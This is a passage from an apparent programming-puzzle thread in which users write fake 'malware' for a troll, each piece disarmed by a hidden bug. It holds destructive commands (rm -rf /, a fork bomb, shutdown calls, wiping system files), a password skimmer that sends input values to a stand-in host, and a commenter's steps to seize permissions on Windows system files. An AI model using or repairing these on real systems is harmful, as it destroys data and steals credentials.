 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

C++ Version
thanks to DragonLord for this.
#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0;
}

Add this into the startup folder and restart the computer.
How it works:

 ??/ is  a trigraph and will add the next line into the comment so basically  it won't do anything. Note: do not try this trigraphs might be turned off in  some compilers as default and must be turned on for this  to work.

If in some compiler it may work, is it real trolling?

@Antonio is there a specification that the code should work in all compilers?

Nope, but in a real situation, I'd prefer to not troll a troll with such code (I don't want to harm a troll!)

@AntonioRagagnin If this works on any compiler, that compiler is buggy. However, most modern compilers will warn about the use of trigraphs (but accept and compile the code).

So if the Troll does not read comments and your solution is to make the malware into a comment, doesn't that mean all the troll sees is a function main with return 0?

@user689: If you treat this as C++ code (and it is well-formed C++), the International Standard for Programming Language C++, paragraph 2.4/1 specifies that the compiler replace the trigraph ??/ with \. "Before any other processing takes place, each occurrence of one of the following sequences of three characters (“trigraph sequences”) is replaced by the single character indicated in Table 1." Table 1 includes "Trigraph: ??/, Replacement \".

In the C++ version, should it be shutdown (one word)?

Also, add #include <cstdlib> to the C++ version - the system function is in this header.

What are iostream and namespace std used for here?

Admittedly this was posted after this was, but still, that.

@durron this was posted after so many people started using the same trick. It doesn't mean that this solution wasn't good when it was first posted.

The ??/ is really an old trick...I'm sorry.

@impinball and so is the answer :)

Java
import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

 Using a escape character (the \n before ntoskrnl.exe is a newline instead of the normal N)

If you don't escape the other backslashes, the error may look even less conspicuous. The troll could think the language doesn't use backslash escapes

@3Doubloons Wouldn't the code fail to compile in that case?

@Neil: Good point. It wouldn't, but if the troll lets us go as soon as he's satisfied with his reading, we're in the clear

So this creates a new .exe and promptly deletes it :P?

@theGreenCabbage No, I believe that it creates a new file object which points to an already existing .exe file (one which is rather important to the os no doubt) which is then deleted.

@kaya: No, it will create a new file, because there's no file named "System32toskrnl.exe" in "C:\Windows". Java's File.delete() deletes the file represented by the object; if the backslash was properly escaped, the program would try to delete ntoskrnl.exe

youre right @3Doub stupidly it only works for windows pathnames

new File("C:\ntldr").delete();

@EgorSkriptunoff what windows version?

@masterX244 - XP

I'm sorry to say that escaping all the backslashes in the path except the last one is obvious, but perhaps that's because I know enough Java to pass a module in a programming course. If I had enough rep, I would have down-voted this answer.

@EgorSkriptunoff It took me more than a while to realize that XP was not a variant of XD.

@Quincunx - LOL

@EgorSkriptunoff file is locked

BASH
#!/bin/bash
set -t

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

 set -t will exit after reading and executing one command. This script prints no output and all files are safe!

Or the following BUT READ SPOILER BEFORE RUNNING
#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

 By popular demand.. #!/bin/bash -t will exit after reading and executing one command. Don't run this under bash -x as it will ignore the -t and execute the commands in the script.

SPOILERS I'm a bit confused...what's the difference between set -t and exit? The Bash man page says that set -t exits after "one command," but it appears to count the set command itself as that command and exit immediately.

If additional commands are on the same line as set -t  (e.g separated by a semicolon or double ampersand etc) they will be executed. In this case a first line of set -t; echo "hahaha deleting files.." would echo that text then exit.

Ah. Thanks. Didn't realize there was ever a difference in behavior between ; and a newline.

#!/bin/bash -t perhaps?

@neil - It's a great suggestion but I avoided it as someone may have tried to execute the script under bash -x to see how it worked. If you write #!/bin/bash -t in the script but execute bash -x ./script the commands in the script will be executed! Otherwise it's a much better (and sneakier) technique.

@JOgden it's too bad bash doesn't do the same shebang-parsing trick that perl does (if you run perl foo.pl and foo.pl begins with #!somethingendingin/perl -flags, perl will act like it was invoked with -flags)

@hobbs TIL Perl does that.

D
This program is valid and executes with no error. It spawns a deleting function in a new thread, that deletes the rootdirectory.
import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

But nothing is deleted...

 because in D, a variable declared at module scope is thread-local by default.
 The main functions sets it to "/", but the spawn threads
 has an empty copy, so the rmdirRecurse function is not called.

Good! I managed to catch the bug in this one, although I don't know D.

"a global variable is thread-local by default" That's somewhat of a contradiction there

@NiklasB. What's the contradiction?

It is not a "global variable" then. Maybe "variable declared at top-level" is a better description?

Yes, edited! It is less ambiguous. Not entirely a contradiction though, at least lexically speaking.

I think you can remove if (root) - it should just throw instead.

@CyberShadow Right. I thought at first that it would be better if no error occurred.

Python
print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "

 three quotes """ start a multiline string in Python

Wrong, they start multi-line strings http://docs.python.org/2/tutorial/introduction.html#strings

I saw the problem literally within five seconds of seeing the answer, and I don't even know python.

Nice idea, with the problem that if the troll uses syntax highlighting he'll spot it.

I think average troll sees a random malicious code in internet and just copypaste it in another forum.

Good, I'm experienced with Python and I didn't see the flaw. Using 4 quotes may have tricked me.

I'm a bit drunk, and asterisks and quotes kinda (blur together) look the same from where I'm sitting at this font size. If I were the troll, you'd have succeeded.

Thank you, so did you clicked the up arrow?

os.remove(path) would have raised an OSError if path was a directory anyway.

C (Unix)
Adding some ads never harmed anybody.
#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

 http: it's a label, the goto jump to the label missing the harful code. :V

I managed to spot this one :)

The semicolon in the first URL is quite easy to spot in this font. But it's creative!

Well that was easy, see mine !

goto considered helpful

I noticed it because there's no semicolon after the goto. If you changed it to goto http;//www.trolling.com; (in both spots) I might have missed it.

Really clever, actually.

Before return 0; theres just the address which would create an error...

http://anything is a label followed by a line comment. :)

It wouldn't compile anyway, because there is no print function.

JavaScript
function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

 No alert is shown. Since JavaScript doesn't require ; at the end of lines, it is automatically inserted after return, becoming return;. Then undefined, which is falsy, is returned instead of the "object" (which in fact is parsed as a block statement).

Tempted to +1 just for the use of "truly" and "falsy" ;)

+1 because I work with JS on a regular basis and have looked at your code and explanation and still don't see how the semicolon causes the failure.

+1 as this "flaw" in JS has caught me off guard numerous times... Had to reread it a couple times to see it

@NigelNquande the semicolon doesn't cause the failure, the line break does.  The return and the object that is supposed to be returned are on separate lines, so the object is never returned.  To "fix", remove the line break so it reads return {

+1. Semicolon insertion stopped me from learning JavaScript.

Hoping that the troll will not minify the code!

Well, any minifier that changed the execution would be broken, although the leftover line split (or insertion of a semicolon) might tip a reader off.

UglifyJS says WARN: Dropping side-effect-free statement [-:4,11] and returns function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.

JavaScript
//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Swap the destroy alert for whatever nasty destructive action you would want to use.
Spoiler:

 Although it looks like the config is set to delete... and it is! the 'var' declaration inside the function is "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html and as a result is actually false when entering the function.

Nice trick, but why would you reset the flag?

The "reset" was just an example... it could be any variable where the assignment is valid... just if prefixed with 'var' may/will have unintended consequences.

Java
Let's just delete some important files!
import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

 Hidden in the block comment is an extra }{ outside of the comment. That puts file deletion in a separate instance initialization block, which is executed before the constructor. At that time, importantFile is still null.

I managed to spot this one :)

This would be very, very obvious if the troll doesn't read the comments.

I chose to interpret "the troll doesn't read the comments" as "the troll skips over comments in a similar way a human would if skipping comments." In this case, it might be easy for it to mistakenly miss that those two characters are actually outside of the comment.

This was the only one I solved before reading the explanation but good job!

Bash, C, Linux
Maybe it's not exactly a malware, but sure can be a part of one :)
It's an amazing exploit that can give you root on any linux machine! Shhh, tell no one that we have it!
#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Now execute the script and you will be root! You can make sure using whoami!

 In fact it only tricks all applications that you have UID=0 (this is the root user id).

The code is written by Lcamtuf, source: http://lcamtuf.coredump.cx/soft/ld-expl

+1. Really nice trick. I still don't fully understand how it works.

@ErelSegalHalevi: see http://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick for more detail about LD_PRELOAD.

Read up on fakeroot(1), which is a library that intercepts calls to various POSIX system functions, tricking the caller into believing that it has (fake)read and (fake)write access to the whole system. Actually, it will not (cannot) actually give these permissions, but when the program, e.g. calls the "fake" chmod function on a file and changes the permissions, fakeroot will remember these permissions so that stat calls will return the updated permissions. Some distros use this to allow the package build system to create files with root:root ownership.

It's lcamtuf's I believe: http://lcamtuf.coredump.cx/soft/ld-expl - at least I remember it was there since 90s

bash
cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

 There is a syntax error on "fork-bomb" line. After {, there should be a space. Without it, the script fails because the function definition isn't followed by the { token by itself.

You must add a note of caution (in the spoiler, perhaps) that this be not executed using ksh since the fork bomb isn't a syntax error there!

This has fooled many.

@Dennis: Unrelated, I haven't seen that. But interesting thread, to be honest. I know how parsing in bash works, and that's why I don't use it :-).

Emacs Lisp
First a simple one. This one does nothing. It is actually trying to delete elements equal to :recursive from the list returned by directory-files. It's not going to delete any files.
(delete :recursive
    (directory-files "/"))

Here is one that could stump even elisp vets.
(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

This is only 1 character away from deleting your root dir.
emacs lisp will allow jsut about anything to be the name of a symbol (variable, function, macro, etc). It is OK to use unicode in the name of your symbols and that is what is happening here.
setq can take any number of args (setq a 3 b 4) is like doing a = 3; b = 4;
but (setq a 3 b) is also valid and is doing a = 3; b = nil;
The return value of `setq' is the value assigned to last variable. 4 and nil respectively in the examples.
(setq a 3 b) is exactly what is happening in the code, but instead of b I am using a unicode whitespace character. I am assigning the value nil to a variable named whose name is the unicode character 0x2001. Because of this nil is returned by the setq and the condition for the while loop is never true. Take out that whitespace character and it will run just fine.

Just another perl hacker.
I wrote this one in 2002, while hanging out at Perlmonks and generally just trying to push my knowledge of Perl as far as possible. Didn't edit it at all, but it still runs.
#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

 If I remember correctly, the BEGIN block runs first of all, no matter where it is in the code. It replaces @INC which determines where Perl loads it's libraries from with a subroutine (it's usually a set of paths, but this is allowed). The subroutine is actually the obfuscated data block, which is doing some regexp + eval magic. Then, when the code hits require File::Path; (it wouldn't have worked with use) this sub is executed and just prints "Just another perl hacker.", as is tradition, and exits. The rest of the code is never reached.

Wow, it took me a while to understand what this code does (but I didn't read the spoiler). I decoded this block of regex call (it's the same method as I've used in http://codegolf.stackexchange.com/a/23871/3103), and I like how it contains exit command (with pointless semicolon after it, but not that it matters).

Hehe, had to figure it out myself, it's 11-12 years old after all. The semicolon is probably just to make everything line up neatly.

C++ with Boost
This will delete all files on the file system
#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

 Actually it won't. delete in C++ is used to free memory allocated by new and not to delete files and directories. The program will most likely crash with a segmentation fault as it tries to deallocate the memory allocated by Boost, but by that time, I'll have escaped the troll's captivity.

+1. This is not easy to spot since it even compiles with no errors.

Isn't the first problem line undefined behavior?  In which case it might in fact delete all his files.

@aschepler: "UB could delete all your files" makes for a fun explanation that you can't predict what will happen when invoking UB, but it isn't usually a possibility. If the troll had a compiler that erases the hard drives on UB, he wouldn't make us write him a malware

syntax highlighting would give troll a hint here...

Java
This will pretend to download RAM, but it will delete the user's home directory.
import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

 Timer uses a background thread to call your TimerTasks you submitted to it. new Timer(true) creates a Timer with the background thread set as a daemon thread, so the program just exits immediately before the tasks can be run. The overly long code distracts the troll from seeing the true parameter.

PHP:
$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

 At first glance, $condition is false, but the = operator has precedence over and, so the condition is true. So evil is never done.

bash
# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

It's perhaps as evil as it gets.  It defines a function that'd rm -rf / and invokes it.  Not only that it makes use of the evil eval on more than one occasion.
It would do a lot of damage, surely!

In case you are wondering, the first eval unsets the function by:

unset -f cleanup

The second eval defines it to:

cleanup() { echo Troll detected; }

 So upon running the code, you'd see

     Troll detected

Good! But, I would say that the "base64" lines, which apparently have no use for the actual deletion, make this a little too obvious.

Might be better if you were led to believe that the evals were doing something more evil than any obvious code. The current code leads me to ask: why bother hiding the 'evil' code if the obvious stuff is deleting everything?

I don't think this one meets the requirements since it is potentially very malicious: if base64 (not a standard command) does not exist on the system it's run on, the evals do nothing and the rm -rf / runs! This could also happen if base64 is present but fails for some reason (e.g. ulimit).

@R.. Added a line to the beginning of the script that would make it exit if anything fails.

@R.: Also, rm -rf / won't work on most rm's implementations. This is a security feature - you cannot remove root directory in most implementations of rm.

As far as I'm aware it works on the busybox version. :-)

rm -rf ⁄

 The character is not the regular slash character (/, i.e. SOLIDUS in unicode) but instead is FRACTION SLASH. Will print a message like "rm: ⁄: No such file or directory"

Oh really let me try....

@MichaelCalkins: you can try as a non priviledged user, and see the "not found" message... hopefully.

BASH
Sure we need root privileges for the machine, so we use the good old "Do I have root?"-checker, aka ch(eck)root - but better do this in a directory where there won't be many alarms raised. /tmp would be perfect, because everyone can write files there.
After this we just delete the entire hard drive evil laughter
mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

as a german i can say: don't do evil laughter as a german guy...

Wer, if not a German guy, can do ze eefil laughter right, zen?

I have to admit it took me several readings of the code and then rereading your comments to work out why somebody might think this is malicious. I don't think this will work if you hadn't tried to persuade somebody in your comments that chroot does something other than it does and the question does say the troll doesn't read comments...

Incidentally, chroot is not "check root", it's "change root" -- it changes the user's idea of what / is. Interestingly, this troll fails to do anything for root and non-root users; root users get a new root (and thus no /bin/bash command since nothing exists in the newly created root of /tmp/chroot_dir), and non-root users fail to chroot.

This is like the clue to this - I know that it's not "change root" but my capturer (correct word?) doesn't know - so he fails badly

iPhone - Flappy Bird Clone
While the user is playing an iPhone Flappy Bird clone, all of the files in the Documents directory are deleted.
#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

 Each app in iOS is Sandboxed, so while this deletes everything in the Documents directory, it is only the Documents directory for this particular app. The troll is obviously not aware of this, since he has already been flooded with so many programs for other platforms. And as soon as he realizes he too can put out a Flappy Bird clone, he may be so excited he doesn't even bother to think about the rest of the code, as he is too preoccupied dreaming of making $50,000 a day in advertising without doing any work.

Go:
package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

This one is a bit tricky. In Go the entire program exits when the main Goroutine exits. A good way to fix this is with a Waitgroup. There are two huge problems with my "fix":

The Waitgroup isn't added to until the Goroutine starts, which means the main Goroutine will hit Wait before the deletion Goroutine hits Add. Since the counter will be 0, it has nothing to wait on and therefore it won't not block and just end up exiting, thus terminating the program.
Even if, somehow, magically, the deleteAll goroutine's addition gets done first. It got a copy of the Waitgroup, not a pointer to it. It won't be adding to the same Waitgroup so the main Goroutine will never see it.

The fmt.Scanln() to expect input is just to ensure the main Goroutine exits before anything happens. The Println will likely cause it to IO block and switch to running the main Goroutine (thus exiting), and the Scanln will almost certainly do so. In reality, neither are necessary with any version of Go.
In super theory land this MIGHT work and delete something, meaning according to the Go memory model there's no guaranteed "happens-before" relationship regarding the end of main and the execution of RemoveAll, but it won't on any modern Go runtime/compiler as evidenced by all the newbies who make the mistake of not putting synchronization in their main functions.

C++
#include<stdio.h>
int main()
{
    remove("C:\windows\system32\Bubbles.scr");
    return 0;
}

OUTPUT
Window opens then closes but tries to delete the screen-saver file(.scr) used to show the nice bubbles in windows-7.
PROBLEM
You can't figure it out ? let me tell you,

The problem is in "C:\windows\system 32\Bubbles.scr", the '\' character in string is not acting as a '\' but as unknown escape sequence which modifies the path to
"C:windowssystem 32Bubbles.scr"

EDIT : According to kinokijuf (and my experiment) The main error is that you can't delete system files on windows! you may try the right version of the above code :-
#include<stdio.h>
int main()
{
    remove("C:\\windows\\system32\\Bubbles.scr");
    return 0;
}

...And lol, the kidnapper got trolled /^o^/.

+1. You have a nice misdirection by including both "iostream" (without.h) and "stdio.h". I thought the bug was there...

@ErelSegalHalevi I didn't expected that because standard classes are included without .h

shutdown.exe is not needed to shutdown the computer. Windows is not Unix. Also, since it is a system file, it won’t get deleted.

@kinokijuf but we make a shortcut at desktop!(some people say its a trick for shutting down)

@kinokijuf on Unix one doesn't need a shutdown command to halt the system too (e.g. do init 0).

However, halting is not shutting down.  There are parts of the full shutdown procedure, such as the wall messages and preventing login, that are executed by the shutdown program.

shutdown.exe does not do a graceful shutdown, but a forced one.

@kinokijuf I edited my answer now fine ?

@MukulKumar You can’t delete system files on Windows.

@kinokijuf I guess you are right I am not able to do the action through the right version of code Let me change my answer

@MukulKumar You could change permissions first: takeown /f file_name /d y
and then icacls file_name /grant administrators:F. Also, the best file to delete is probably logonui.exe, since it will prevent the victim from logging in and is almost certainly not in use currently

@kinokijuf but, I told you I am not able to delete the files of windows!

Changing permissions makes it possible.

@kinokijuf I don't know how to change permissions

@MukulKumar system(the commands i posted ). system is available in stdlib.h.

@Mukul can i edit your answer?

@kinokijuf yes you can edit my post But I think system calls are evil and v.bad practice BTW

Is this one OK? (see pending edits)

Javascript
function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

 It won't run, you can't create a closure all call it without surrond it with parens

2.

 If the troll manages to fix that, there is a beautiful typo to debug... ;-)

what language? and maybe hint to the typo a bit more

@masterX244 is Javascript, i'll edit it. Typo hint: ReferenceError

That typo is so often that it should be autocorrected by editors...

Yes, i do that typo a lot. Especially if the word's length is quite long :P

btw, this one is very language specific. Besides, even if the type stopped the code from sending the password, it will keep executing forever since the condition will never me met.

The interval will run as long as the page is open in the browser, however the for loop will never run as it will throw a ReferenceError exception. Even if "lenght" evaluates to false, null or undefined, it will never run. For the for loop to run, technically, forever "lenght" has to evaluate to positive Infinity.

And I don't think it is language specific. It is probably client side specific. But I think it is a lot worst those days having your password stolen that having your files deleted, IMHO. With handheld devices being the most used computer for most people those days, having your files deleted means resync with the cloud backup service, while having your password stolen means bye to your backup data, privacy and be afraid of your next credit card bill!

@m01 +1 I think it should be a reserved word that throw an exception or compile time error!

Python
Kill all processes that can be killed with SIGKILL signal.
#!/usr/bin/env python
import os
import stat
from subprocess import call
from tempfile import NamedTemporaryFile

with NamedTemporaryFile(dir='.', prefix='killall') as script:
  script.write(b"#!/bin/sh\nkill -9 -1")
  os.chmod(script.name, os.stat(script.name).st_mode | stat.S_IEXEC)
  call(script.name)

 It generates "Text file busy" error: trying to execute a file that is opened for writing

Language: Java
This program will run for eternity wasting resources.  The Integer was used because it uses more memory than int and thus will waste more resources.
class Halt {
    public static void main(String[] args) {
        Integer i = 0;
        Integer j = 0;
        while (i == j) {
           i++;
           j++;
           System.out.println("Waste those resources!");
      }
   }
}

Should be pretty obvious in Java since 128 doesn't actually equal 128.

Nice job.  Please state your language at the top of your post.

"128 doesn't actually equal 128" what?

Maybe you meant that "==" will return false because i and j are different objects?

No, java has a pool of Integer objects that includes 0.

Scala
On a windows machine:

import java.io._

val file = new File("""c:\udead""")
if(!file.exists) file.mkdirs

val user_dir = new File(file.getAbsolutePath().replace("dead","sers"))
if(user_dir.exists) println("""Going to destroy user files/!\""")

def deleteFile(file : File) : Unit = {
  if(file.isDirectory) {
    file.listFiles.foreach(deleteFile)
  }
  file.delete
}
deleteFile(user_dir)

 \udead is a unicode character so that it will create a directory named c:? where ? is the unicode char. It will never touch the users directory, and simply... delete the created directory.

Unix shell
rm -rf /

 rm: it is dangerous to operate recursively on ‘/’rm: use --no-preserve-root to override this failsafe

Are you sure this failsafe exists in every implementation of rm, everywhere?

@kojiro: GNU's rm has such protection (but can be overridden by using --no-preserve-root, as it's GNU which has an option for everything). FreeBSD's rm shows rm: "/" may not be removed. Solaris's rm shows rm of / is not allowed. I don't have access to more operating systems, so I don't know if it applies to other systems, but I'm pretty sure it applies to most.

C#
Deletes all files on the current drive, by dynamically generating a C# assembly (via CodeDomProvider.CompileAssemblyFromSource) and calling said class via reflection.
For those not familiar with CodeDomProvider.CompileAssemblyFromSource and too lazy to look the documentation up (I'm talking to you, Mr. Troll!), the signature is defined as:
public virtual CompilerResults CompileAssemblyFromSource(
    CompilerParameters options,
    params string[] sources
)

where sources is declared to be "An array of source code strings to compile."
using System;
using System.CodeDom.Compiler;
using System.Reflection;
using Microsoft.CSharp;

namespace TrollTroller
{
    class Program
    {
        public void ExecuteMalware()
        {
            CompilerParameters cp = new CompilerParameters();
            cp.GenerateExecutable = false;
            cp.GenerateInMemory = true;
            cp.ReferencedAssemblies.Add("System.dll");
            CodeDomProvider provider = new CSharpCodeProvider();
            CompilerResults cr = provider.CompileAssemblyFromSource(cp,
                @"using System;",
                @"using System.Collections.Generic;",
                @"using System.Linq;",
                @"using System.IO;",
                @"using System.Text;",
                @"namespace SuperNastyMalware",
                @"{",
                @"    class Nasty",
                @"    {",
                @"        public void NukeEmAll()",
                @"        {",
                @"            foreach (string target in Directory.GetFiles(""/"", ""*.*"", SearchOption.AllDirectories))",
                @"            {",
                @"                File.Delete(target);",
                @"            }",
                @"        }",
                @"    }",
                @"}"
            );
            while (cr.Errors.Count == 0)
            {
                var nasty = cr.CompiledAssembly.CreateInstance("SuperNastyMalWare.Nasty");
                Type t = nasty.GetType();
                t.InvokeMember("NukeEmAll",
                   BindingFlags.InvokeMethod | BindingFlags.Public | BindingFlags.Instance,
                   null, nasty, null);
            }
        }
        static void Main(string[] args)
        {
            Program program = new Program();
            program.ExecuteMalware();
        }
    }
}

 What the MSDN documentation doesn't mention is that each of the string parameters is supposed to be a complete source file, not one line in a source code file. When the code is run, you get all sorts of lovely compilation errors in the cr.Errors collection. The while loop is there to prevent cr.CompiledAssembly.CreateInstance() from throwing an exception and tipping off the troll that something is broken.

Yes, I know the best answer has already been accepted. However, I ran into this while researching my answer to the Pi Day challenge and figured it was worth sharing.

Python
Code:
import os
# delete everything!
try:
    os.remove('/')
except OSError:
    # directory already deleted before
    pass

Nothing is actually deleted, because:

 os.remove(path): Remove (delete) the file path. If path is a directory, OSError is raised;

Code:
import os
# bugfix: this function is used to delete directories. For sure!
try:
    os.rmdir('/')
except OSError:
    # directory already deleted before
    pass

Nothing is actually deleted, because:

 os.rmdir(path): Remove (delete) the directory path. Only works when the directory is empty, otherwise, OSError is raised.

Javascript
This code will unleash an unending stream of annoying alert windows.
//Change to true if testing
var testing = false;
if (testing = true) {
  alert("Test successful");
} else {
  while (true) {
    alert("Trololo!");
  }
}

 A single equal sign will make an assignment, not a comparison; in this case, the if statement looks at the value assigned, which overwrites the original value, resulting in always being in "testing" mode.

I managed to spot this one :) Maybe it's because I make this mistake all the time...

C++
(Delete all files in C:\ or other directory of Troll's choice...)
int _tmain(int argc, _TCHAR* argv[])
{
    WIN32_FIND_DATA fd;
    HANDLE hFind = ::FindFirstFileW((LPCWSTR)"C:\\*.*", &fd);
    if(hFind != INVALID_HANDLE_VALUE)
    {
        do
        {
            if(! (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) )
            {
                DeleteFile(fd.cFileName);
            }
        }while(::FindNextFile(hFind, &fd));
        ::FindClose(hFind);
    }

    return 0;
}

 ...But only if they replace the single-byte to multi-byte string cast (LPCWSTR)"C:\\*.*" with the macro _T("C:\\*.*"), otherwise, it will compile but FindFirstFileW being passed an invalid string will always return an invalid handle.

Python (2.7)
File req.py:
import os
def init(h,p):
    os.popen('shutdown -p -f')
    return True
if __name__ == '__main__':
    quit()

File RAT.py:
import req
